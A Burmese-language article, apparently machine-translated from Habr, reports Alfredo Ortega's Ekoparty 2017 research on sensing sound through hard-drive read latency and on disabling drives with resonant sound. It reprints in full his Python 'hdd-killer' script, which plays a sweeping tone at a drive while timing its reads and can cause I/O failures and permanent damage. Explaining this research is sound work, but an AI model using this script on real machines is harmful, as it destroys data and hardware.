HDD ကို ဘာကြောင့် မအော်သင့်တာလဲ။

HDD ကို ဘာကြောင့် မအော်သင့်တာလဲ။

Buenos Aires တွင်ကျင်းပသည့် Ekoparty 2017 ကွန်ပျူတာလုံခြုံရေးကွန်ဖရင့်တွင် အာဂျင်တီးနားဟက်ကာ Alfredo Ortega သည် မိုက်ခရိုဖုန်းကိုအသုံးမပြုဘဲ လျှို့ဝှက်ကြိုးကိုင်ခြင်းအတွက် အလွန်စိတ်ဝင်စားဖွယ်ကောင်းသော ဖွံ့ဖြိုးတိုးတက်မှုကို ပြသခဲ့သည်။ အသံ ဟာ့ဒ်ဒရိုက်ကို တိုက်ရိုက်မှတ်တမ်းတင်ပါတယ်။!

HDD သည် အဓိကအားဖြင့် ပြင်းထန်မှုမြင့်မားသော ကြိမ်နှုန်းနိမ့်အသံများ၊ ခြေသံများနှင့် အခြားတုန်ခါမှုများကို ကောက်ယူသည်။ သိပ္ပံပညာရှင်များ ဖြစ်သော်လည်း လူ့အပြောအဆိုကို အသိအမှတ်မပြုနိုင်သေးပေ။ ဒီ ဦးတည်ချက်ကို သုတေသနလုပ်တယ်။ (ဥပမာ၊ gyroscope သို့မဟုတ် HDD မှ မှတ်တမ်းတင်ထားသည့် ကြိမ်နှုန်းနိမ့်တုန်ခါမှုများဖြင့် စကားပြောခြင်းကို အသိအမှတ်ပြုခြင်း)။

အသံသည် လေ၏တုန်ခါမှု သို့မဟုတ် အခြားသော ကြားခံဖြစ်သည်။ လူတစ်ဦးသည် ၎င်းတို့အား နားစည်မှတဆင့် ရိပ်မိပြီး အတွင်းနားကို တုန်ခါမှုဖြစ်စေသည်။ မိုက်ခရိုဖုန်းကို နားရွက်ကဲ့သို့ အကြမ်းဖျင်း ဒီဇိုင်းထုတ်ထားသည် - ဤနေရာတွင်လည်း လျှပ်စစ်တွန်းအားကို လှုံ့ဆော်ပေးသည့် ပါးလွှာသော အမြှေးပါးတစ်ခုဖြင့် တုန်ခါမှုများကို မှတ်တမ်းတင်ထားသည်။ ဟာ့ဒ်ဒရိုက်သည် ပတ်ဝန်းကျင်လေထုအတက်အကျကြောင့် အဏုကြည့်တုန်ခါမှုများလည်း သက်ရောက်ပါသည်။ HDD များ၏ နည်းပညာဆိုင်ရာ ဝိသေသလက္ခဏာများမှပင် သိရှိသည်- ထုတ်လုပ်သူများသည် အများအားဖြင့် ခွင့်ပြုနိုင်သော တုန်ခါမှုအဆင့်ကို ညွှန်ပြလေ့ရှိပြီး hard drive ကိုယ်တိုင်က ၎င်းကို ရော်ဘာ သို့မဟုတ် အခြား insulating material ဖြင့် ပြုလုပ်ထားသော တုန်ခါမှုဒဏ်ခံနိုင်သော ကွန်တိန်နာတွင် ထားလေ့ရှိသည်။ ယင်းမှ အသံများကို HDD ဖြင့် မှတ်တမ်းတင်နိုင်သည်ဟု ကောက်ချက်ချရန် လွယ်ကူသည်။ ကျန်တာကတော့ ဘယ်လိုဖြစ်မလဲ ဆိုတာကို အဖြေရှာဖို့ပါပဲ။

Alfredo Ortega သည် အချိန်တိုက်ခိုက်မှုဟု အမည်ရသည့် ဘေးထွက်ချန်နယ်တိုက်ခိုက်မှု၏ ထူးခြားသောဗားရှင်းကို အဆိုပြုခဲ့သည်။ ဤတိုက်ခိုက်မှုသည် ပေးထားသည့် ထည့်သွင်းဒေတာပေါ် မူတည်၍ စက်ပစ္စည်းပေါ်တွင် မတူညီသော လုပ်ဆောင်ချက်များကို အချိန်အမျိုးမျိုးတွင် လုပ်ဆောင်သည်ဟု ယူဆချက်အပေါ် အခြေခံထားသည်။ ဤကိစ္စတွင်၊ "input data" သည် ပတ်ဝန်းကျင်၏တုန်ခါမှုများ၊ အသံဖြင့်ဆက်စပ်နေသည့် စာဖတ်ခေါင်းနှင့် HDD လင်ပန်း၏ တုန်ခါမှုများဖြစ်သည်။ ထို့ကြောင့်၊ တွက်ချက်မှုအချိန်ကို တိုင်းတာပြီး ဒေတာ၏ ကိန်းဂဏန်းခွဲခြမ်းစိတ်ဖြာမှုကို လုပ်ဆောင်ခြင်းဖြင့်၊ ဦးခေါင်း/ပန်းကန်ပြား၏ တုန်ခါမှုများကြောင့် ကြားခံ၏တုန်ခါမှုများကို တိုင်းတာနိုင်သည်။ ဒေတာဖတ်ခြင်းတွင် ကြာကြာနှောင့်နှေးလေ HDD တုန်ခါမှု အားကောင်းလေလေ၊ ထို့ကြောင့် အသံပိုကျယ်လေဖြစ်သည်။

hard drive တုန်ခါမှုကို ဘယ်လိုတိုင်းတာမလဲ။ အလွန်ရိုးရှင်းပါသည်- စနစ်ခေါ်ဆိုမှုကိုသာ လုပ်ဆောင်ပါ။ read () — ပြီးမြောက်ရန် လိုအပ်သည့်အချိန်ကို မှတ်တမ်းတင်ပါ။ ခေတ်မီလည်ပတ်မှုစနစ်များသည် သင့်အား နာနိုစက္ကန့်တိကျမှုဖြင့် စနစ်ခေါ်ဆိုမှုအချိန်ကို ဖတ်နိုင်စေပါသည်။

ကဏ္ဍတစ်ခုမှ သတင်းအချက်အလက်များ ဖတ်ရှုခြင်းအမြန်နှုန်းသည် HDD အိတ်၏ တုန်ခါမှုများနှင့် ဆက်စပ်နေသည့် ဦးခေါင်းနှင့် ပန်းကန်ပြား အနေအထားအပေါ် မူတည်သည်။ ဒါပါပဲ။

ရိုးရှင်းသော Kscope utility ကို အသုံးပြု၍ စာရင်းအင်းခွဲခြမ်းစိတ်ဖြာမှုကို လုပ်ဆောင်သည်။ သူတို့ပြောသလို ဉာဏ်ပညာက ရိုးရှင်းပါတယ်။

HDD ကို ဘာကြောင့် မအော်သင့်တာလဲ။
Kscope အသုံးဝင်မှု (stat() syscall)

Kscope သည် စနစ်ခေါ်ဆိုမှုလုပ်ဆောင်သည့်အချိန်များတွင် သေးငယ်သောကွဲပြားမှုများကို မြင်သာစေရန်အတွက် သေးငယ်သောအသုံးဝင်မှုတစ်ခုဖြစ်သည်။ အရင်းအမြစ်GitHub တွင်ထုတ်ဝေခဲ့သည်။.

သီးခြားသိုလှောင်မှုတွင် HDD အချိန် hard drive တွင် time attack အတွက် configure လုပ်ထားသော utility version တစ်ခုရှိပြီး ဆိုလိုသည်မှာ system call ကိုခွဲခြမ်းစိတ်ဖြာရန် configure လုပ်ထားသည်။ read ().

HDD ကို အသုံးပြု၍ အသံဖမ်းယူခြင်း သရုပ်ပြခြင်း၊ Kscope utility ၏ လုပ်ဆောင်မှု

ဗွီဒီယိုဖွင့်ပါ

ဟုတ်ပါတယ်၊ စကားသံကို ဒီနည်းနဲ့ နားမလည်နိုင်ပေမယ့် HDD ဟာ တုန်ခါမှုအာရုံခံကိရိယာတစ်ခုအနေနဲ့ အတော်လေးကို သင့်လျော်ပါတယ်။ ဥပမာအားဖြင့်၊ ဖိနပ်ကြမ်းစီးထားသူ သို့မဟုတ် ခြေထောက်ဗလာဝတ်ဆင်ထားသူသည် ကွန်ပျူတာနှင့် အခန်းထဲသို့ ဝင်ပါက စာရင်းသွင်းနိုင်သည် (ဖြစ်နိုင်သည်၊ တိုက်ခိုက်သူသည် ပျော့ပျောင်းသောဖိနပ်ကို ၀တ်ထားလျှင် သို့မဟုတ် ကြမ်းပြင်ပေါ်တွင် ကော်ဇောထူပါက HDD သည် တုန်ခါမှုများကို စာရင်းသွင်းနိုင်မည်မဟုတ်ပါ - ဒါဟာစစ်ဆေးရကျိုးနပ်ပါတယ်။) ကွန်ပြူတာသည် အသံပြင်းပြင်းဖြင့် မှန်ကွဲခြင်း သို့မဟုတ် အခြားသော အဖြစ်အပျက်များကို မှတ်တမ်းတင်နိုင်သည်။ ဆိုလိုသည်မှာ၊ ဟာ့ဒ်ဒရိုက်သည် ခွင့်ပြုချက်မရှိဘဲ ကျူးကျော်ဝင်ရောက်မှုကို ထောက်လှမ်းခြင်းစနစ်တစ်မျိုးအဖြစ် လုပ်ဆောင်နိုင်သည်။

HDD လူသတ်သမား

စကားမစပ်၊ အလားတူနည်းပညာကို hard drive များကို disable လုပ်ရန်အသုံးပြုနိုင်သည်။ သို့သော်၊ ဤနေရာတွင် ကျွန်ုပ်တို့သည် HDD မှ တုန်ခါမှုများကို မဖမ်းယူဘဲ HDD သို့ပေးပို့သော တုန်ခါမှုများကို ထုတ်လုပ်သည်။ HDD ၏ ကြိမ်နှုန်းနှင့် ပဲ့တင်ထပ်သော ကြိမ်နှုန်းတွင် speaker မှ အသံကို ဖွင့်ပါက၊ စနစ်သည် I/O error (kernel) ဖြင့် မကြာမီ device ကို ပိတ်သွားလိမ့်မည်။ Linux (၎င်းသည် စက္ကန့် ၁၂၀ ကြာပြီးနောက် HDD ကို လုံးဝပိတ်စေသည်။) ဟာ့ဒ်ဒရိုက်ကိုယ်တိုင်က ပြန်လည်ကောင်းမွန်လာရန် မတတ်နိုင်စွာ ပျက်စီးသွားနိုင်သည်။

HDD ကို ဘာကြောင့် မအော်သင့်တာလဲ။
အဓိက Linux Edifier r19u USB စပီကာမှတစ်ဆင့် ပဲ့တင်ထပ်သော ကြိမ်နှုန်းဖြင့် ၁၂၀ စက္ကန့်ကြာ အသံဖွင့်ပြီးနောက် hard drive ပိတ်သွားသည်။ စပီကာကို ၎င်း၏ပါဝါ၏ လေးပုံတစ်ပုံခန့် (100 mW အောက်) ဖြင့် ဖွင့်ထားပြီး HDD မှ ၂၀ စင်တီမီတာအကွာတွင် ထားကာ တုန်ခါမှုများကို ချဲ့ထွင်ရန် စားပွဲကို ချိန်ထားသည်။ ဗီဒီယို HDD killer ၏သရုပ်ပြမှုနှင့်အတူ

HDD များပေါ်တွင်ဤကဲ့သို့သော "တိုက်ခိုက်မှု" များသည်နေ့စဉ်ဘဝတွင်မကြာခဏမတော်တဆမှုလုံးဝဖြစ်ပွားကြောင်းသိချင်သည်။ ဥပမာအားဖြင့်၊ 2016 ခုနှစ် စက်တင်ဘာလတွင် ING Bank ဒေတာစင်တာသည် မီးသတ်လေ့ကျင့်မှုပြုလုပ်ပြီးနောက် 10 နာရီကြာ လုပ်ငန်းလည်ပတ်မှုကို ရပ်ဆိုင်းထားခဲ့ရသည်။ ဒါဇင်ပေါင်းများစွာသောဟာ့ဒ်ဒရိုက်များပျက်ကွက် မြင့်မားသောဖိအားအောက်တွင် ဆလင်ဒါများမှ ထွက်လာသော inert gas ၏ကျယ်လောင်သောအသံကြောင့်။ အသံသည် အလွန်ကျယ်လောင်သည် (130 dB ထက်ပိုသည်) ဖြစ်သော်လည်း သင်သည် hard drive များကိုပင် မအော်နိုင်ပေ - ၎င်းသည် HDD ကို ဝင်ရောက်ရာတွင် နှောင့်နှေးမှုကို တိုးစေသည်။

ဒေတာစင်တာတစ်ခုရှိ ဟာ့ဒ်ဒရိုက်များအတွင်း လူသားများ၏ အော်ဟစ်သံကို သရုပ်ပြခြင်း။ Latency တိုင်းတာခြင်း။

ဗွီဒီယိုဖွင့်ပါ

ပဲ့တင်ထပ်သောအသံကိုထုတ်လုပ်ရန်အတွက် Alfredo Ortega ဟုခေါ်သော Python script ကိုရေးသားခဲ့သည်။ hdd-လူသတ်သမား (ဗီဒီယိုသရုပ်ပြ).

HDD လူသတ်သမား ဇာတ်ညွှန်း ၎င်းသည် အလွန်သေးငယ်သောကြောင့် ၎င်းကို ဤနေရာတွင် အပြည့်အစုံထုတ်ဝေနိုင်ပါသည်။

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

source: www.habr.com

DDoS ကာကွယ်ရေး၊ VPS VDS ဆာဗာများပါသည့် ဆိုက်များအတွက် ယုံကြည်စိတ်ချရသော hosting ကို ဝယ်ယူပါ။ 🔥 DDoS ကာကွယ်မှု၊ VPS VDS ဆာဗာများပါရှိသော ယုံကြည်စိတ်ချရသော ဝဘ်ဆိုက် hosting ကို ဝယ်ယူပါ | ProHoster